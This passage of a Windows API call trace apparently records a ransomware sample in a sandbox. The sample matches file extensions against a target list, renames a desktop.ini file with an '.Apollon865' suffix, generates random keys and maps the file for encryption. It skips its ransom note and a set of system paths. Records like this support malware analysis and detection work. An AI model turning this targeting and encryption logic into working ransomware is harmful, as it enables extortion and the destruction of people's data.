	[0088.568] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0088.568] lstrlenW (lpString="dcx") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0088.568] lstrlenW (lpString="ddl") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0088.568] lstrlenW (lpString="dlis") returned 4
	[0088.568] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0088.568] lstrlenW (lpString="dp1") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0088.568] lstrlenW (lpString="dqy") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0088.568] lstrlenW (lpString="dsk") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0088.568] lstrlenW (lpString="dsn") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0088.568] lstrlenW (lpString="dtsx") returned 4
	[0088.568] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0088.568] lstrlenW (lpString="dxl") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0088.568] lstrlenW (lpString="eco") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0088.568] lstrlenW (lpString="ecx") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0088.568] lstrlenW (lpString="edb") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0088.568] lstrlenW (lpString="epim") returned 4
	[0088.568] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0088.568] lstrlenW (lpString="fcd") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0088.568] lstrlenW (lpString="fdb") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0088.568] lstrlenW (lpString="fic") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0088.568] lstrlenW (lpString="flexolibrary") returned 12
	[0088.568] lstrlenW (lpString="fm5") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0088.569] lstrlenW (lpString="fmp") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0088.569] lstrlenW (lpString="fmp12") returned 5
	[0088.569] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0088.569] lstrlenW (lpString="fmpsl") returned 5
	[0088.569] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0088.569] lstrlenW (lpString="fol") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0088.569] lstrlenW (lpString="fp3") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0088.569] lstrlenW (lpString="fp4") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0088.569] lstrlenW (lpString="fp5") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0088.569] lstrlenW (lpString="fp7") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0088.569] lstrlenW (lpString="fpt") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0088.569] lstrlenW (lpString="frm") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0088.569] lstrlenW (lpString="gdb") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0088.569] lstrlenW (lpString="gdb") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0088.569] lstrlenW (lpString="grdb") returned 4
	[0088.569] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0088.569] lstrlenW (lpString="gwi") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0088.569] lstrlenW (lpString="hdb") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0088.569] lstrlenW (lpString="his") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0088.569] lstrlenW (lpString="ib") returned 2
	[0088.569] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0088.569] lstrlenW (lpString="idb") returned 3
	[0088.569] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0088.570] lstrlenW (lpString="ihx") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0088.570] lstrlenW (lpString="itdb") returned 4
	[0088.570] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0088.570] lstrlenW (lpString="itw") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0088.570] lstrlenW (lpString="jet") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0088.570] lstrlenW (lpString="jtx") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0088.570] lstrlenW (lpString="kdb") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0088.570] lstrlenW (lpString="kexi") returned 4
	[0088.570] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0088.570] lstrlenW (lpString="kexic") returned 5
	[0088.570] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0088.570] lstrlenW (lpString="kexis") returned 5
	[0088.570] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0088.570] lstrlenW (lpString="lgc") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0088.570] lstrlenW (lpString="lwx") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0088.570] lstrlenW (lpString="maf") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0088.570] lstrlenW (lpString="maq") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0088.570] lstrlenW (lpString="mar") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0088.570] lstrlenW (lpString="marshal") returned 7
	[0088.570] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0088.570] lstrlenW (lpString="mas") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0088.570] lstrlenW (lpString="mav") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0088.570] lstrlenW (lpString="maw") returned 3
	[0088.570] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0088.570] lstrlenW (lpString="mdbhtml") returned 7
	[0088.570] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0088.571] lstrlenW (lpString="mdn") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0088.571] lstrlenW (lpString="mdt") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0088.571] lstrlenW (lpString="mfd") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0088.571] lstrlenW (lpString="mpd") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0088.571] lstrlenW (lpString="mrg") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0088.571] lstrlenW (lpString="mud") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0088.571] lstrlenW (lpString="mwb") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0088.571] lstrlenW (lpString="myd") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0088.571] lstrlenW (lpString="ndf") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0088.571] lstrlenW (lpString="nnt") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0088.571] lstrlenW (lpString="nrmlib") returned 6
	[0088.571] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0088.571] lstrlenW (lpString="ns2") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0088.571] lstrlenW (lpString="ns3") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0088.571] lstrlenW (lpString="ns4") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0088.571] lstrlenW (lpString="nsf") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0088.571] lstrlenW (lpString="nv") returned 2
	[0088.571] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0088.571] lstrlenW (lpString="nv2") returned 3
	[0088.571] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0088.571] lstrlenW (lpString="nwdb") returned 4
	[0088.571] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0088.571] lstrlenW (lpString="nyf") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0088.572] lstrlenW (lpString="odb") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0088.572] lstrlenW (lpString="odb") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0088.572] lstrlenW (lpString="oqy") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0088.572] lstrlenW (lpString="ora") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0088.572] lstrlenW (lpString="orx") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0088.572] lstrlenW (lpString="owc") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0088.572] lstrlenW (lpString="p96") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0088.572] lstrlenW (lpString="p97") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0088.572] lstrlenW (lpString="pan") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0088.572] lstrlenW (lpString="pdb") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0088.572] lstrlenW (lpString="pdm") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0088.572] lstrlenW (lpString="pnz") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0088.572] lstrlenW (lpString="qry") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0088.572] lstrlenW (lpString="qvd") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0088.572] lstrlenW (lpString="rbf") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0088.572] lstrlenW (lpString="rctd") returned 4
	[0088.572] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0088.572] lstrlenW (lpString="rod") returned 3
	[0088.572] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0088.572] lstrlenW (lpString="rodx") returned 4
	[0088.572] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0088.572] lstrlenW (lpString="rpd") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0088.573] lstrlenW (lpString="rsd") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0088.573] lstrlenW (lpString="sas7bdat") returned 8
	[0088.573] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0088.573] lstrlenW (lpString="sbf") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0088.573] lstrlenW (lpString="scx") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0088.573] lstrlenW (lpString="sdb") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0088.573] lstrlenW (lpString="sdc") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0088.573] lstrlenW (lpString="sdf") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0088.573] lstrlenW (lpString="sis") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0088.573] lstrlenW (lpString="spq") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0088.573] lstrlenW (lpString="te") returned 2
	[0088.573] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0088.573] lstrlenW (lpString="teacher") returned 7
	[0088.573] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0088.573] lstrlenW (lpString="tmd") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0088.573] lstrlenW (lpString="tps") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0088.573] lstrlenW (lpString="trc") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0088.573] lstrlenW (lpString="trc") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0088.573] lstrlenW (lpString="trm") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0088.573] lstrlenW (lpString="udb") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0088.573] lstrlenW (lpString="udl") returned 3
	[0088.573] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0088.574] lstrlenW (lpString="usr") returned 3
	[0088.574] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0088.574] lstrlenW (lpString="v12") returned 3
	[0088.574] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0088.574] lstrlenW (lpString="vis") returned 3
	[0088.574] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0088.574] lstrlenW (lpString="vpd") returned 3
	[0088.574] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0088.574] lstrlenW (lpString="vvv") returned 3
	[0088.574] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0088.574] lstrlenW (lpString="wdb") returned 3
	[0088.574] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0088.574] lstrlenW (lpString="wmdb") returned 4
	[0088.574] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0088.574] lstrlenW (lpString="wrk") returned 3
	[0088.574] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0088.574] lstrlenW (lpString="xdb") returned 3
	[0088.574] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0088.574] lstrlenW (lpString="xld") returned 3
	[0088.574] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0088.574] lstrlenW (lpString="xmlff") returned 5
	[0088.574] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0088.574] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.Apollon865") returned 62
	[0088.574] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0088.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.576] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=402) returned 1
	[0088.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.576] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.577] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.577] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.577] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x15c
	[0088.578] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000
	[0088.578] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.579] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.579] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.580] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.580] CloseHandle (hObject=0x15c) returned 1
	[0088.580] CloseHandle (hObject=0x9c) returned 1
	[0088.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.581] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303e8990, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.581] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.581] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3045adb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3045adb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="Apollon865.txt.exe") returned 1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2=".") returned 1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="..") returned 1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1
	[0088.581] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1
	[0088.581] lstrlenW (lpString="Links") returned 5
	[0088.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned 51
	[0088.581] lstrcpyW (in: lpString1=0x119e658, lpString2="Links" | out: lpString1="Links") returned="Links"
	[0088.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0088.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5458
	[0088.582] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b79b0
	[0088.582] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30434c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="Apollon865.txt.exe") returned 1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2=".") returned 1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="..") returned 1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="windows") returned -1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="bootmgr") returned 1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="temp") returned -1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="pagefile.sys") returned -1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="boot") returned 1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ids.txt") returned 1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ntuser.dat") returned -1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="perflogs") returned -1
	[0088.582] lstrcmpiW (lpString1="Microsoft Websites", lpString2="MSBuild") returned -1
	[0088.582] lstrlenW (lpString="Microsoft Websites") returned 18
	[0088.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned 45
	[0088.582] lstrcpyW (in: lpString1=0x119e658, lpString2="Microsoft Websites" | out: lpString1="Microsoft Websites") returned="Microsoft Websites"
	[0088.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0088.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x5916c0
	[0088.582] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7950 | out: ListHead=0x5b75f0, ListEntry=0x5b7950) returned 0x5b7c30
	[0088.582] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30434c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="Apollon865.txt.exe") returned 1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2=".") returned 1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="..") returned 1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="windows") returned -1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="bootmgr") returned 1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="temp") returned -1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="pagefile.sys") returned -1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="boot") returned 1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="ids.txt") returned 1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="ntuser.dat") returned -1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="perflogs") returned -1
	[0088.582] lstrcmpiW (lpString1="MSN Websites", lpString2="MSBuild") returned 1
	[0088.582] lstrlenW (lpString="MSN Websites") returned 12
	[0088.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned 58
	[0088.583] lstrcpyW (in: lpString1=0x119e658, lpString2="MSN Websites" | out: lpString1="MSN Websites") returned="MSN Websites"
	[0088.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0088.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a920
	[0088.583] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7970 | out: ListHead=0x5b75f0, ListEntry=0x5b7970) returned 0x5b7950
	[0088.583] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3040eaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3040eaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="Apollon865.txt.exe") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2=".") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="..") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="windows") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="bootmgr") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="temp") returned 1
